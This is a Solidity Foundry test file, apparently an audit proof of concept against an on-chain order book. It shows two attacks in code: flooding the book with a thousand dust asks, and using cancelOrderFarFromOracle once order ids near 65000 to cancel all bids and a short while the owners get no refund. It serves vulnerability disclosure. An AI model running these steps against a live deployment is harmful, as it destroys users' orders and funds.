```\n// SPDX-License-Identifier: GPL-3.0-only\npragma solidity 0.8.21;\n\nimport {Errors} from "contracts/libraries/Errors.sol";\nimport {Events} from "contracts/libraries/Events.sol";\nimport {STypes, MTypes, O} from "contracts/libraries/DataTypes.sol";\nimport {Constants} from "contracts/libraries/Constants.sol";\nimport "forge-std/console.sol";\nimport {OBFixture} from "test/utils/OBFixture.sol";\n// import {console} from "contracts/libraries/console.sol";\n\ncontract POC is OBFixture {\n   address[3] private bidders = [address(435433), address(423432523), address(522366)];\n   address[3] private shorters = [address(243422243242), address(52353646324532), address(40099)];\n    address attacker = address(3234);\n   function setUp() public override {\n       super.setUp();\n   }\n\n       // an attacker can fill the order book with a bunsh of asks that have too high price and low asset \n   function test_fillWithAsks() public {\n    // create a bunsh of asks with a high price :\n    depositUsd(attacker, DEFAULT_AMOUNT * 10000);\n    uint balanceAssetBefore = diamond.getAssetBalance(asset,attacker);\n        // minAsk = 0.0001 ether . 0.0001 ether = x * 1 , x =0.0001 ether * 1 ether\n        vm.startPrank(attacker);\n        for (uint i ; i< 1000 ;i++){\n           createLimitAsk(  10**24, 10**10); \n        }\n        vm.stopPrank();\n        STypes.Order[] memory asks = diamond.getAsks(asset);\n        console.log("tiny asks created : ", asks.length);\n        console.log( "hack cost asset", balanceAssetBefore - diamond.getAssetBalance(asset,attacker));\n\n   }\n   function test_cancleOrders() public {\n       //set the assetid to 60000;\n       diamond.setOrderIdT(asset,64998);\n       // create multiple bids and 1 shorts\n       fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT, bidders[0]); // id 64998\n       fundLimitShortOpt(uint80(DEFAULT_PRICE)*4, DEFAULT_AMOUNT, shorters[0]); //id 64999\n       fundLimitBidOpt(DEFAULT_PRICE*2, DEFAULT_AMOUNT, bidders[1]); // id 65000\n       fundLimitBidOpt(DEFAULT_PRICE*3 , DEFAULT_AMOUNT, bidders[2]); //id 65001\n       /* now we have the lists like this :\n        - for bids : Head <- Head <->65001<->65000<->64998->Tail\n        - for shorts: Head <- Head <->64999->Tail\n        */\n\n       //lets cancle the all the bids :\n       canclebid(64998);\n       //  - now : Head <-64998<-> Head <->65001<->65000->Tail\n       uint s1 = vm.snapshot();\n       vm.revertTo(s1);\n       canclebid(65000);\n       // - now : Head <-64998<->65000<-> Head <->65001->Tail\n       uint s2 = vm.snapshot();\n       vm.revertTo(s2);\n       canclebid(65001);\n       // - now : Head <-64998<->65000<->65001<-> Head ->Tail\n       // let's check the  active bids :\n       STypes.Order[] memory Afterbids = diamond.getBids(asset);\n       // notice that we were able to delete all the bids even there was unActive ID's to be reused.\n       assertTrue(Afterbids.length == 0);\n       // also notice that the owners of this orders did not get refund thier zeth back that have been taken from them when they create this orders.\n\n       for (uint i; i<bidders.length;i++){\n        // check that there is no refund for the users : \n           uint ethUser = diamond.getZethBalance(vault,bidders[i]);\n           console.log('balance of : ', bidders[i],ethUser);\n           assertEq(ethUser ,0);\n       }\n       // also we can cancle the shorts and the asks, i don't wanna make POC to long , but this is the idea.you can cancle all the orders of a market if this market reach 65000,\n       assertEq(diamond.getShorts(asset).length,1);\n       diamond.cancelOrderFarFromOracle(asset, O.LimitShort, 64999, 1);\n       assertEq(diamond.getShorts(asset).length,0);\n\n   }\n   function canclebid(uint16 id) public {\n       diamond.cancelOrderFarFromOracle(asset, O.LimitBid, id, 1);\n   }\n\n\n}\n```\n